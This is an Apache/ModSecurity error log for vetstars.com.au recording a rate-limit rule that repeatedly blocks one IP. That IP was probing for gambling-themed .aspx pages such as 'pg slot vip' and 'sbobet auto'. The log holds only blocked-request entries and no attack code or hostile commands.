[Tue Feb 10 08:58:41.870390 2026] [:error] [pid 47837:tid 47906] [client 146.59.46.29:51694] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYqCwXFY8KYFPX79Z4kwCgAAAIY"]
[Tue Feb 10 08:58:42.129208 2026] [:error] [pid 47830:tid 47853] [client 146.59.46.29:51704] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYqCwkco45BZs8e301CFigAAAAc"]
[Tue Feb 10 08:58:44.721561 2026] [:error] [pid 30054:tid 30076] [client 146.59.46.29:51716] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYqCxGecgOOXCu-GgYWUogAAARQ"]
[Tue Feb 10 08:58:44.770320 2026] [:error] [pid 30054:tid 30057] [client 146.59.46.29:51714] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYqCxGecgOOXCu-GgYWUowAAAQE"]
[Tue Feb 10 08:58:44.790119 2026] [:error] [pid 47937:tid 47962] [client 146.59.46.29:51730] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYqCxMpqXpC2CvJ3fOPjxwAAANc"]
[Tue Feb 10 08:58:44.804875 2026] [:error] [pid 47937:tid 47945] [client 146.59.46.29:51744] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYqCxMpqXpC2CvJ3fOPjyQAAAMY"]
[Tue Feb 10 08:58:47.531900 2026] [:error] [pid 47831:tid 47886] [client 146.59.46.29:51770] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYqCxydxbZYarWVkiACdkAAAAE0"]
[Tue Feb 10 08:58:47.742532 2026] [:error] [pid 30054:tid 30068] [client 146.59.46.29:51760] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYqCx2ecgOOXCu-GgYWUqAAAAQw"]
[Tue Feb 10 08:58:47.850420 2026] [:error] [pid 30054:tid 30071] [client 146.59.46.29:51776] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYqCx2ecgOOXCu-GgYWUqQAAAQ8"]
[Tue Feb 10 08:58:47.850634 2026] [:error] [pid 47837:tid 47919] [client 146.59.46.29:51780] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYqCx3FY8KYFPX79Z4kwDwAAAJM"]
[Tue Feb 10 08:58:50.106272 2026] [:error] [pid 30054:tid 30080] [client 146.59.46.29:56090] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYqCymecgOOXCu-GgYWUrwAAARg"]
[Tue Feb 10 08:58:50.468300 2026] [:error] [pid 47830:tid 47858] [client 146.59.46.29:56094] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYqCykco45BZs8e301CFkgAAAAw"]
[Tue Feb 10 08:58:50.719715 2026] [:error] [pid 59407:tid 59424] [client 146.59.46.29:56106] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYqCymLlhBXE3qmX-Jl5lQAAAU8"]
[Tue Feb 10 08:58:50.949253 2026] [:error] [pid 47937:tid 47962] [client 146.59.46.29:56122] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYqCyspqXpC2CvJ3fOPj0QAAANc"]
[Tue Feb 10 08:58:52.877000 2026] [:error] [pid 47831:tid 47885] [client 146.59.46.29:56132] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYqCzCdxbZYarWVkiACdkgAAAEw"]
[Tue Feb 10 08:58:53.100470 2026] [:error] [pid 59407:tid 59429] [client 146.59.46.29:56138] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYqCzWLlhBXE3qmX-Jl5mwAAAVQ"]
[Tue Feb 10 08:58:53.431366 2026] [:error] [pid 30054:tid 30070] [client 146.59.46.29:56142] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYqCzWecgOOXCu-GgYWUswAAAQ4"]
[Tue Feb 10 08:58:53.956866 2026] [:error] [pid 47837:tid 47917] [client 146.59.46.29:56146] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYqCzXFY8KYFPX79Z4kwHAAAAJE"]
[Tue Feb 10 08:58:55.647657 2026] [:error] [pid 47837:tid 47904] [client 146.59.46.29:56156] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYqCz3FY8KYFPX79Z4kwIQAAAIQ"]
[Tue Feb 10 08:58:56.162229 2026] [:error] [pid 47830:tid 47848] [client 146.59.46.29:56170] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYqC0Eco45BZs8e301CFmAAAAAI"]
[Tue Feb 10 08:58:56.177972 2026] [:error] [pid 47937:tid 47947] [client 146.59.46.29:56178] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYqC0MpqXpC2CvJ3fOPj2QAAAMg"]
[Tue Feb 10 08:58:56.723206 2026] [:error] [pid 47837:tid 47907] [client 146.59.46.29:56194] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYqC0HFY8KYFPX79Z4kwJgAAAIc"]
[Tue Feb 10 08:58:58.231612 2026] [:error] [pid 59407:tid 59420] [client 146.59.46.29:37054] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYqC0mLlhBXE3qmX-Jl5nwAAAUs"]
[Tue Feb 10 08:58:58.682229 2026] [:error] [pid 30054:tid 30079] [client 146.59.46.29:37074] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYqC0mecgOOXCu-GgYWUuAAAARc"]
[Tue Feb 10 08:58:58.689940 2026] [:error] [pid 59407:tid 59416] [client 146.59.46.29:37068] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYqC0mLlhBXE3qmX-Jl5ogAAAUc"]
[Tue Feb 10 08:58:59.495962 2026] [:error] [pid 59544:tid 59560] [client 146.59.46.29:37078] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYqC06ZySR9mFY4BailEFQAAAYw"]
[Tue Feb 10 08:59:00.697236 2026] [:error] [pid 47831:tid 47876] [client 146.59.46.29:37082] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYqC1CdxbZYarWVkiACdngAAAEM"]
[Tue Feb 10 08:59:01.303429 2026] [:error] [pid 59407:tid 59430] [client 146.59.46.29:37086] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYqC1WLlhBXE3qmX-Jl5qQAAAVU"]
[Tue Feb 10 08:59:01.639125 2026] [:error] [pid 59544:tid 59575] [client 146.59.46.29:37092] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYqC1aZySR9mFY4BailEGQAAAZc"]
[Tue Feb 10 08:59:02.159662 2026] [:error] [pid 59544:tid 59555] [client 146.59.46.29:37102] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYqC1qZySR9mFY4BailEGwAAAYc"]
[Tue Feb 10 08:59:03.428864 2026] [:error] [pid 30054:tid 30056] [client 146.59.46.29:37118] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYqC12ecgOOXCu-GgYWUwQAAAQA"]
[Tue Feb 10 08:59:04.053058 2026] [:error] [pid 30054:tid 30062] [client 146.59.46.29:37132] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYqC2GecgOOXCu-GgYWUwgAAAQY"]
[Tue Feb 10 08:59:04.173167 2026] [:error] [pid 47937:tid 47943] [client 146.59.46.29:37144] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYqC2MpqXpC2CvJ3fOPj6wAAAMQ"]
[Tue Feb 10 08:59:19.188755 2026] [:error] [pid 30054:tid 30078] [client 146.59.46.29:37158] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYqC52ecgOOXCu-GgYWU7wAAARY"]
[Tue Feb 10 08:59:19.685943 2026] [:error] [pid 47937:tid 47943] [client 146.59.46.29:37156] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYqC58pqXpC2CvJ3fOPkBQAAAMQ"]
[Tue Feb 10 08:59:19.792166 2026] [:error] [pid 30054:tid 30079] [client 146.59.46.29:37164] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYqC52ecgOOXCu-GgYWU8QAAARc"]
[Tue Feb 10 08:59:19.978343 2026] [:error] [pid 59407:tid 59428] [client 146.59.46.29:37168] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYqC52LlhBXE3qmX-Jl5yAAAAVM"]
[Tue Feb 10 08:59:21.834623 2026] [:error] [pid 47937:tid 47962] [client 146.59.46.29:51264] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYqC6cpqXpC2CvJ3fOPkCAAAANc"]
[Tue Feb 10 08:59:22.162031 2026] [:error] [pid 59544:tid 59575] [client 146.59.46.29:51268] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYqC6qZySR9mFY4BailELwAAAZc"]
[Tue Feb 10 08:59:22.562960 2026] [:error] [pid 47830:tid 47855] [client 146.59.46.29:51280] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYqC6kco45BZs8e301CFtwAAAAk"]
[Tue Feb 10 08:59:22.629676 2026] [:error] [pid 59544:tid 59550] [client 146.59.46.29:51282] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYqC6qZySR9mFY4BailEMQAAAYI"]
[Tue Feb 10 08:59:24.269795 2026] [:error] [pid 59407:tid 59420] [client 146.59.46.29:51284] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYqC7GLlhBXE3qmX-Jl5zwAAAUs"]
[Tue Feb 10 08:59:24.826004 2026] [:error] [pid 30054:tid 30073] [client 146.59.46.29:51288] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYqC7GecgOOXCu-GgYWU-gAAARE"]
[Tue Feb 10 08:59:25.240326 2026] [:error] [pid 47837:tid 47921] [client 146.59.46.29:51300] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYqC7XFY8KYFPX79Z4kwRgAAAJU"]
[Tue Feb 10 08:59:25.249718 2026] [:error] [pid 47937:tid 47955] [client 146.59.46.29:51308] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYqC7cpqXpC2CvJ3fOPkDwAAANA"]
[Tue Feb 10 08:59:26.872542 2026] [:error] [pid 59407:tid 59428] [client 146.59.46.29:51310] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYqC7mLlhBXE3qmX-Jl51AAAAVM"]
[Tue Feb 10 08:59:29.110876 2026] [:error] [pid 59407:tid 59425] [client 146.59.46.29:48222] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYqC8WLlhBXE3qmX-Jl51QAAAVA"]
[Tue Feb 10 08:59:29.637873 2026] [:error] [pid 47837:tid 47902] [client 146.59.46.29:48236] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYqC8XFY8KYFPX79Z4kwSgAAAII"]
[Tue Feb 10 08:59:30.278035 2026] [:error] [pid 47837:tid 47908] [client 146.59.46.29:48242] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYqC8nFY8KYFPX79Z4kwSwAAAIg"]
[Tue Feb 10 08:59:31.190286 2026] [:error] [pid 59544:tid 59553] [client 146.59.46.29:48256] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYqC86ZySR9mFY4BailEOAAAAYU"]
[Tue Feb 10 08:59:31.595847 2026] [:error] [pid 47937:tid 47957] [client 146.59.46.29:48270] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYqC88pqXpC2CvJ3fOPkHwAAANI"]
[Tue Feb 10 08:59:32.701561 2026] [:error] [pid 59407:tid 59431] [client 146.59.46.29:48284] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYqC9GLlhBXE3qmX-Jl52wAAAVY"]
[Tue Feb 10 08:59:32.988244 2026] [:error] [pid 47831:tid 47880] [client 146.59.46.29:48300] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYqC9CdxbZYarWVkiACdxwAAAEc"]
[Tue Feb 10 08:59:34.028974 2026] [:error] [pid 59407:tid 59418] [client 146.59.46.29:48312] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYqC9mLlhBXE3qmX-Jl53QAAAUk"]
[Tue Feb 10 08:59:34.126364 2026] [:error] [pid 47937:tid 47959] [client 146.59.46.29:48316] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYqC9spqXpC2CvJ3fOPkIgAAANQ"]
